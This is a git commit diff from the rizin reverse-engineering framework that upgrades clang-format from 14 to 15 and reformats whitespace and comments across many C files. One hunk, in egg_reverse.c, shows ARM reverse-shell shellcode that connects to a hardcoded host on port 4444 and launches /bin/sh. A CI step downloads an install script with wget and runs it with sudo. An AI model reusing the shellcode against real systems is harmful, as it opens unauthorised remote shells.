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Use clang-format 15 instead of 14

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This commit is contained in:
rizan21 2023-01-22 19:46:19 +05:30 committed by Anton Kochkov
parent a0b7b48b53
commit cc18d675e6
24 changed files with 72 additions and 65 deletions
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10
.github/workflows/linter.yml vendored
View file

@ -107,18 +107,18 @@ jobs:
- name: Install wget, software-properties-common, lsb-release (dependencies of LLVM install script)
run: sudo apt --assume-yes install wget software-properties-common lsb-release
- name: Install automatic LLVM 14
run: wget https://apt.llvm.org/llvm.sh -O /tmp/llvm-install.sh; chmod +x /tmp/llvm-install.sh; sudo /tmp/llvm-install.sh 14
- name: Install automatic LLVM 15
run: wget https://apt.llvm.org/llvm.sh -O /tmp/llvm-install.sh; chmod +x /tmp/llvm-install.sh; sudo /tmp/llvm-install.sh 15
- name: Install clang-format-14
run: sudo apt --assume-yes install clang-format-14
- name: Install clang-format-15
run: sudo apt --assume-yes install clang-format-15
- name: Install gitpython
run: sudo pip install gitpython
- name: Run clang-format
run: |
sudo update-alternatives --install /usr/bin/clang-format clang-format /usr/bin/clang-format-14 140
sudo update-alternatives --install /usr/bin/clang-format clang-format /usr/bin/clang-format-15 150
clang-format --version
python sys/clang-format.py --check --verbose

4
DEVELOPERS.md
View file

@ -49,13 +49,13 @@ E.g.: `Bug fix did not change the general behavior of the function. No documenta
In order to contribute with patches or plugins, we encourage you to use the same
coding style as the rest of the code base.
* Use git-clang-format 14 to format your code. If clang-format-14 is not available on
* Use git-clang-format 15 to format your code. If clang-format-14 is not available on
your Debian-based distribution, you can install it from https://apt.llvm.org/.
You should invoke it as below (after making sure that your local copy of `dev`
is up-to-date and your branch is up-to-date with `dev`):
```bash
git-clang-format-14 --extensions c,cpp,h,hpp,inc --style file dev
git-clang-format-15 --extensions c,cpp,h,hpp,inc --style file dev
```
* Lines should be at most 100 chars. A tab is considered as 8 chars. If it makes

4
librz/analysis/arch/avr/avr_esil.c
View file

@ -61,7 +61,9 @@ static OPCODE_DESC *avr_op_analyze(RzAnalysis *analysis, RzAnalysisOp *op, ut64
#define INST_HANDLER(OPCODE_NAME) static void _inst__##OPCODE_NAME(RzAnalysis *analysis, RzAnalysisOp *op, const ut8 *buf, int len, int *fail, CPU_MODEL *cpu)
#define INST_DECL(OP, M, SL, C, SZ, T) \
{ #OP, (M), (SL), _inst__##OP, (C), (SZ), RZ_ANALYSIS_OP_TYPE_##T }
{ \
#OP, (M), (SL), _inst__##OP, (C), (SZ), RZ_ANALYSIS_OP_TYPE_##T \
}
#define INST_LAST \
{ "unknown", 0, 0, (void *)0, 2, 1, RZ_ANALYSIS_OP_TYPE_UNK }

30
librz/analysis/p/analysis_8051.c
View file

@ -598,19 +598,19 @@ static void analop_esil(RzAnalysis *a, RzAnalysisOp *op, ut64 addr, const ut8 *b
case 0x23: /* rl a */
e("7,a,0x101,*,>>,a,=," flag_p);
break;
template_alu4(0x20, "+", flag_c flag_ac flag_ov flag_p) /* 0x24..0x2f add a,.. */
case 0x33 : /* rlc a */
e("c,1,&,a,a,+=,7,$c,c,:=,a,+=," flag_p);
template_alu4(0x20, "+", flag_c flag_ac flag_ov flag_p) /* 0x24..0x2f add a,.. */
case 0x33: /* rlc a */
e("c,1,&,a,a,+=,7,$c,c,:=,a,+=," flag_p);
break;
template_alu4_c(0x30, "+", flag_c flag_ac flag_ov flag_p) /* 0x34..0x3f addc a,.. */
template_alu2(0x40, "|") /* 0x42..0x43 orl direct,.. */
template_alu4(0x40, "|", flag_p) /* 0x44..0x4f orl a,.. */
template_alu2(0x50, "&") /* 0x52..0x53 anl direct,.. */
template_alu4(0x50, "&", flag_p) /* 0x54..0x5f anl a,.. */
template_alu2(0x60, "^") /* 0x62..0x63 xrl direct,.. */
template_alu4(0x60, "^", flag_p) /* 0x64..0x6f xrl a,.. */
case 0x72 : /* orl C, bit */
bit_r;
template_alu4_c(0x30, "+", flag_c flag_ac flag_ov flag_p) /* 0x34..0x3f addc a,.. */
template_alu2(0x40, "|") /* 0x42..0x43 orl direct,.. */
template_alu4(0x40, "|", flag_p) /* 0x44..0x4f orl a,.. */
template_alu2(0x50, "&") /* 0x52..0x53 anl direct,.. */
template_alu4(0x50, "&", flag_p) /* 0x54..0x5f anl a,.. */
template_alu2(0x60, "^") /* 0x62..0x63 xrl direct,.. */
template_alu4(0x60, "^", flag_p) /* 0x64..0x6f xrl a,.. */
case 0x72: /* orl C, bit */
bit_r;
xi(c, "|");
break;
case 0x73: /* jmp @a+dptr */
@ -686,9 +686,9 @@ static void analop_esil(RzAnalysis *a, RzAnalysisOp *op, ut64 addr, const ut8 *b
case 0x93: /* movc a, @a+dptr */
e("a,dptr,+,[1],a,=," flag_p);
break;
template_alu4_c(0x90, "-", flag_b flag_ab flag_ob flag_p) /* 0x94..0x9f subb a,.. */
case 0xA0 : /* orl C, /bit */
bit_r;
template_alu4_c(0x90, "-", flag_b flag_ab flag_ob flag_p) /* 0x94..0x9f subb a,.. */
case 0xA0: /* orl C, /bit */
bit_r;
e("!,");
xi(c, "|");
break;

2
librz/analysis/p/analysis_h8300.c
View file

@ -441,7 +441,7 @@ static int analop_esil(RzAnalysis *a, RzAnalysisOp *op, ut64 addr, const ut8 *bu
rz_strbuf_appendf(&op->esil, "0x7,r%u%c,&,1,<<,!,r%u%c,&=", rsB(), rdB(1));
return 0;
case H8300_BTST_R2R8: /*TODO*/
//¬ (<Bit No.> of <EAd>) → Z, extract bit value and shift it back
// ¬ (<Bit No.> of <EAd>) → Z, extract bit value and shift it back
rz_strbuf_appendf(&op->esil, "0x7,r%u%c,&,0x7,r%u%c,&,1,<<,r%u%c,&,>>,!,Z,=",
rsB(), rsB(), rdB(1));
return 0;

30
librz/analysis/p/analysis_sh.c
View file

@ -53,12 +53,12 @@
#define IS_STSMACH(x) (((x)&0xF0FF) == 0x000A)
#define IS_STSMACL(x) (((x)&0xF0FF) == 0x001A)
#define IS_STSPR(x) (((x)&0xF0FF) == 0x002A)
//#define IS_STSFPUL(x) (((x) & 0xF0FF) == 0x005A) //FP*: todo maybe someday
//#define IS_STSFPSCR(x) (((x) & 0xF0FF) == 0x006A)
// #define IS_STSFPUL(x) (((x) & 0xF0FF) == 0x005A) //FP*: todo maybe someday
// #define IS_STSFPSCR(x) (((x) & 0xF0FF) == 0x006A)
#define IS_MOVB_REG_TO_REGREF(x) (((x)&0xF00F) == 0x2000)
#define IS_MOVW_REG_TO_REGREF(x) (((x)&0xF00F) == 0x2001)
#define IS_MOVL_REG_TO_REGREF(x) (((x)&0xF00F) == 0x2002)
//#define invalid?(x) (((x) & 0xF00F) == 0x2003) //illegal on sh2e
// #define invalid?(x) (((x) & 0xF00F) == 0x2003) //illegal on sh2e
#define IS_PUSHB(x) (((x)&0xF00F) == 0x2004)
#define IS_PUSHW(x) (((x)&0xF00F) == 0x2005)
#define IS_PUSHL(x) (((x)&0xF00F) == 0x2006)
@ -72,7 +72,7 @@
#define IS_MULUW(x) (((x)&0xF00F) == 0x200E)
#define IS_MULSW(x) (((x)&0xF00F) == 0x200F)
#define IS_CMPEQ(x) (((x)&0xF00F) == 0x3000)
//#define invalid?(x) (((x) & 0xF00F) == 0x3001)
// #define invalid?(x) (((x) & 0xF00F) == 0x3001)
#define IS_CMPHS(x) (((x)&0xF00F) == 0x3002)
#define IS_CMPGE(x) (((x)&0xF00F) == 0x3003)
#define IS_CMPHI(x) (((x)&0xF00F) == 0x3006)
@ -81,7 +81,7 @@
#define IS_DMULU(x) (((x)&0xF00F) == 0x3005)
#define IS_DMULS(x) (((x)&0xF00F) == 0x300D)
#define IS_SUB(x) (((x)&0xF00F) == 0x3008)
//#define invalid?(x) (((x) & 0xF00F) == 0x3009)
// #define invalid?(x) (((x) & 0xF00F) == 0x3009)
#define IS_SUBC(x) (((x)&0xF00F) == 0x300A)
#define IS_SUBV(x) (((x)&0xF00F) == 0x300B)
#define IS_ADD(x) (((x)&0xF00F) == 0x300C)
@ -104,18 +104,18 @@
#define IS_LDSLMACL(x) (((x)&0xF0FF) == 0x4016)
#define IS_LDSPR(x) (((x)&0xF0FF) == 0x402A)
#define IS_LDSLPR(x) (((x)&0xF0FF) == 0x4026)
//#define IS_LDSFPUL(x) (((x) & 0xF0FF) == 0x405A) //FP*: todo maybe someday
//#define IS_LDSFPSCR(x) (((x) & 0xF0FF) == 0x406A)
//#define IS_LDSLFPUL(x) (((x) & 0xF0FF) == 0x4066)
//#define IS_LDSLFPSCR(x) (((x) & 0xF0FF) == 0x4056)
// #define IS_LDSFPUL(x) (((x) & 0xF0FF) == 0x405A) //FP*: todo maybe someday
// #define IS_LDSFPSCR(x) (((x) & 0xF0FF) == 0x406A)
// #define IS_LDSLFPUL(x) (((x) & 0xF0FF) == 0x4066)
// #define IS_LDSLFPSCR(x) (((x) & 0xF0FF) == 0x4056)
#define IS_ROTCR(x) (((x)&0xF0FF) == 0x4025)
#define IS_ROTCL(x) (((x)&0xF0FF) == 0x4024)
#define IS_ROTL(x) (((x)&0xF0FF) == 0x4004)
#define IS_ROTR(x) (((x)&0xF0FF) == 0x4005)
// not on sh2e : shad, shld
//#define IS_SHIFT1(x) (((x) & 0xF0DE) == 0x4000) //unused (treated as switch-case)
// other shl{l,r}{,2,8,16} in switch case also.
// #define IS_SHIFT1(x) (((x) & 0xF0DE) == 0x4000) //unused (treated as switch-case)
// other shl{l,r}{,2,8,16} in switch case also.
#define IS_STSLMACL(x) (((x)&0xF0FF) == 0x4012)
#define IS_STSLMACH(x) (((x)&0xF0FF) == 0x4002)
@ -124,8 +124,8 @@
#define IS_STCLVBR(x) (((x)&0xF0FF) == 0x4023)
// todo: other stc.l not on sh2e
#define IS_STSLPR(x) (((x)&0xF0FF) == 0x4022)
//#define IS_STSLFPUL(x) (((x) & 0xF0FF) == 0x4052)
//#define IS_STSLFPSCR(x) (((x) & 0xF0FF) == 0x4062)
// #define IS_STSLFPUL(x) (((x) & 0xF0FF) == 0x4052)
// #define IS_STSLFPSCR(x) (((x) & 0xF0FF) == 0x4062)
#define IS_TASB(x) (((x)&0xF0FF) == 0x401B)
#define IS_DT(x) (((x)&0xF0FF) == 0x4010)
@ -145,11 +145,11 @@
#define IS_MOVB_R0_REGDISP(x) (((x)&0xFF00) == 0x8000)
#define IS_MOVW_R0_REGDISP(x) (((x)&0xFF00) == 0x8100)
//#define illegal?(x) (((x) & 0xF900) == 0x8000) //match 8{2,3,6,7}00
// #define illegal?(x) (((x) & 0xF900) == 0x8000) //match 8{2,3,6,7}00
#define IS_MOVB_REGDISP_R0(x) (((x)&0xFF00) == 0x8400)
#define IS_MOVW_REGDISP_R0(x) (((x)&0xFF00) == 0x8500)
#define IS_CMPIMM(x) (((x)&0xFF00) == 0x8800)
//#define illegal?(x) (((x) & 0xFB00) == 0x8A00) //match 8{A,E}00
// #define illegal?(x) (((x) & 0xFB00) == 0x8A00) //match 8{A,E}00
#define IS_BT(x) (((x)&0xff00) == 0x8900)
#define IS_BF(x) (((x)&0xff00) == 0x8B00)
#define IS_BTS(x) (((x)&0xff00) == 0x8D00)

2
librz/analysis/p/analysis_tricore.c
View file

@ -6,7 +6,7 @@
#include <rz_lib.h>
#include <rz_asm.h>
#include <rz_analysis.h>
//#include "../../asm/arch/tricore/gnu/tricore-opc.c"
// #include "../../asm/arch/tricore/gnu/tricore-opc.c"
static char *get_reg_profile(RzAnalysis *analysis) {
const char *p =

2
librz/analysis/p/analysis_x86_cs.c
View file

@ -3228,7 +3228,7 @@ static int analop(RzAnalysis *a, RzAnalysisOp *op, ut64 addr, const ut8 *buf, in
rz_x86_il_opcode(a, op, addr, &x86_il_ins);
}
//#if X86_GRP_PRIVILEGE>0
// #if X86_GRP_PRIVILEGE>0
#if HAVE_CSGRP_PRIVILEGE
if (cs_insn_group(ctx->handle, ctx->insn, X86_GRP_PRIVILEGE)) {
op->family = RZ_ANALYSIS_OP_FAMILY_PRIV;

2
librz/asm/arch/include/bfdlink.h
View file

@ -143,7 +143,7 @@ struct bfd_link_hash_entry {
struct bfd_link_hash_common_entry {
unsigned int alignment_power; /* Alignment. */
asection *section; /* Symbol section. */
} * p;
} *p;
bfd_size_type size; /* Common symbol size. */
} c;
} u;

2
librz/asm/arch/include/elf-bfd.h
View file

@ -210,7 +210,7 @@ struct elf_link_hash_entry {
/* Virtual table derivation info. */
struct elf_link_hash_entry *parent;
} * vtable;
} *vtable;
};
/* Will references to this symbol always reference the symbol

2
librz/asm/arch/include/xtensa-isa.h
View file

@ -67,7 +67,7 @@ extern "C" {
typedef struct xtensa_isa_opaque {
int unused;
} * xtensa_isa;
} *xtensa_isa;
#if defined(_MSC_VER)
__declspec(dllexport)

2
librz/asm/p/asm_tms320.c
View file

@ -9,7 +9,7 @@
#ifdef CAPSTONE_TMS320C64X_H
#define CAPSTONE_HAS_TMS320C64X 1
//#include "cs_mnemonics.c"
// #include "cs_mnemonics.c"
#else
#define CAPSTONE_HAS_TMS320C64X 0
#warning Cannot find capstone-tms320c64x support

4
librz/bin/format/java/class_attribute.c
View file

@ -311,7 +311,9 @@ bool java_attribute_set_module(Attribute *attr, RzBuffer *buf) {
}
if (am->requires_count > 0) {
am->requires = RZ_NEWS0(ModuleRequire, am->requires_count);
am->
requires
= RZ_NEWS0(ModuleRequire, am->requires_count);
if (!am->requires) {
goto java_attribute_set_module_bad;
}

3
librz/bin/format/java/class_attribute.h
View file

@ -102,7 +102,8 @@ typedef struct java_attribute_module_t {
ut16 module_version_index;
ut16 requires_count;
ModuleRequire *requires;
ModuleRequire *
requires;
ut16 exports_count;
ModuleExport *exports;

2
librz/debug/p/debug_native.c
View file

@ -1689,7 +1689,7 @@ RZ_API RzLibStruct rizin_plugin = {
};
#endif // RZ_PLUGIN_INCORE
//#endif
// #endif
#else // DEBUGGER
RzDebugPlugin rz_debug_plugin_native = {
NULL // .name = "native",

2
librz/debug/p/native/drx.c
View file

@ -63,7 +63,7 @@
(control & (1 << (DR_LOCAL_ENABLE_SHIFT + DR_ENABLE_SIZE * (i))))
/* enable/disable */
#define I386_DR_IS_ENABLED(control, i) \
control &(3 << (DR_ENABLE_SIZE * (i)))
control & (3 << (DR_ENABLE_SIZE * (i)))
#define I386_DR_ENABLE(control, i) \
control |= (3 << (DR_ENABLE_SIZE * (i)))

6
librz/debug/p/native/xnu/xnu_debug.h
View file

@ -121,10 +121,10 @@ int ptrace(int _request, pid_t _pid, caddr_t _addr, int _data);
#define IMAGE_OFFSET 0x201000
#define KERNEL_LOWER 0x80000000
#endif
//#define RZ_DEBUG_STATE_T XXX
// #define RZ_DEBUG_STATE_T XXX
//(dbg->bits==64)?x86_THREAD_STATE:_STRUCT_X86_THREAD_STATE32
//#define RZ_DEBUG_REG_T _STRUCT_X86_THREAD_STATE64
//#define RZ_DEBUG_STATE_SZ ((dbg->bits == RZ_SYS_BITS_64) ? 168 : 64)
// #define RZ_DEBUG_REG_T _STRUCT_X86_THREAD_STATE64
// #define RZ_DEBUG_STATE_SZ ((dbg->bits == RZ_SYS_BITS_64) ? 168 : 64)
#define REG_PC ((dbg->bits == RZ_SYS_BITS_64) ? 16 : 10)
#define REG_FL ((dbg->bits == RZ_SYS_BITS_64) ? 17 : 9)
#define REG_SP (7)

6
librz/egg/p/egg_reverse.c
View file

@ -5,15 +5,15 @@
unsigned long armle_osx_reverse[] = {
0xe3a00002, 0xe3a01001, 0xe3a02006, 0xe3a0c061, 0xef000080, 0xe1a0a000, 0xeb000001,
0x5c110200, //# port 4444
0x8700a8c0, //# host 192.168.0.135
0x5c110200, // # port 4444
0x8700a8c0, // # host 192.168.0.135
0xe1a0000a, 0xe1a0100e, 0xe3a02010, 0xe3a0c062, 0xef000080,
0xe3a05002, 0xe3a0c05a, 0xe1a0000a, 0xe1a01005, 0xef000080,
0xe2455001, 0xe3550000, 0xaafffff8, 0xe3a00000, 0xe3a01001,
0xe3a0c07e, 0xef000080, 0xe0455005, 0xe1a0600d, 0xe24dd020,
0xe28f0014, 0xe4860000, 0xe5865004, 0xe1a01006, 0xe3a02000,
0xe3a0c03b, 0xef000080,
//# /bin/sh
// # /bin/sh
0x6e69622f, 0x0068732f
};

2
librz/include/rz_magic.h
View file

@ -245,7 +245,7 @@ struct rz_magic_set {
int got_match;
int last_match;
int last_cond; /* used for error checking by parse() */
} * li;
} *li;
} c;
struct out {
char *buf; /* Accumulation buffer */

6
librz/include/rz_types.h
View file

@ -312,7 +312,7 @@ static inline void *rz_new_copy(int size, void *data) {
#define RZ_BIT_UNSET(x, y) (((ut8 *)x)[y >> 4] &= ~(1 << (y & 0xf)))
#define RZ_BIT_TOGGLE(x, y) (RZ_BIT_CHK(x, y) ? RZ_BIT_UNSET(x, y) : RZ_BIT_SET(x, y))
//#define RZ_BIT_CHK(x,y) ((((const ut8*)x)[y>>4] & (1<<(y&0xf))))
// #define RZ_BIT_CHK(x,y) ((((const ut8*)x)[y>>4] & (1<<(y&0xf))))
#define RZ_BIT_CHK(x, y) (*(x) & (1 << (y)))
/* try for C99, but provide backwards compatibility */
@ -569,8 +569,8 @@ typedef enum {
/* os */
#if defined(__QNX__)
#define RZ_SYS_OS "qnx"
//#elif TARGET_OS_IPHONE
//#define RZ_SYS_OS "ios"
// #elif TARGET_OS_IPHONE
// #define RZ_SYS_OS "ios"
#elif defined(__APPLE__)
#define RZ_SYS_OS "darwin"
#elif defined(__linux__)

2
librz/io/p/io_self.c
View file

@ -14,7 +14,7 @@
#include <mach/mach_interface.h>
#include <mach/mach_traps.h>
#include <mach/mach_types.h>
//#include <mach/mach_vm.h>
// #include <mach/mach_vm.h>
#include <mach/mach_error.h>
#include <mach/task.h>
#include <mach/task_info.h>

2
librz/parse/p/parse_ppc_pseudo.c
View file

@ -86,7 +86,7 @@
#define SPR_DABR 0x3f5
#define SPR_HID5 0x3f6 /* Hardware Implementation Register 5 */
#define SPR_HID6 0x3f9 /* Hardware Implementation Register 6 */
//#define SPR_L2CR 0x3f9
// #define SPR_L2CR 0x3f9
#define SPR_ICTC 0x3fb
#define SPR_THRM1 0x3fc
#define SPR_THRM2 0x3fd

6
librz/util/sdb/src/sdb.h
View file

@ -36,14 +36,14 @@ extern char *strdup(const char *);
#include <malloc.h> // for _aligned_malloc
#endif
//#define SDB_MODE 0
// #define SDB_MODE 0
#define SDB_MODE _S_IWRITE | _S_IREAD
#else
#define SDB_MODE 0644
//#define SDB_MODE 0600
// #define SDB_MODE 0600
#endif
//#define SDB_RS '\x1e'
// #define SDB_RS '\x1e'
#define SDB_RS ','
#define SDB_SS ","
#define SDB_MAX_PATH 256

4
librz/util/utf8.c
View file

@ -11,7 +11,9 @@
#define UTF_BLOCKS_COUNT RZ_ARRAY_SIZE(utf_blocks)
#define UTF_NONPRINTABLE_RANGES_COUNT RZ_ARRAY_SIZE(nonprintable_ranges)
const struct { ut32 from, to; } nonprintable_ranges[] = {
const struct {
ut32 from, to;
} nonprintable_ranges[] = {
{ 0x0000, 0x001F }, { 0x007F, 0x009F }, { 0x034F, 0x034F },
{ 0x0378, 0x0379 }, { 0x037F, 0x0383 }, { 0x038B, 0x038B },
{ 0x038D, 0x038D }, { 0x03A2, 0x03A2 }, { 0x0528, 0x0530 },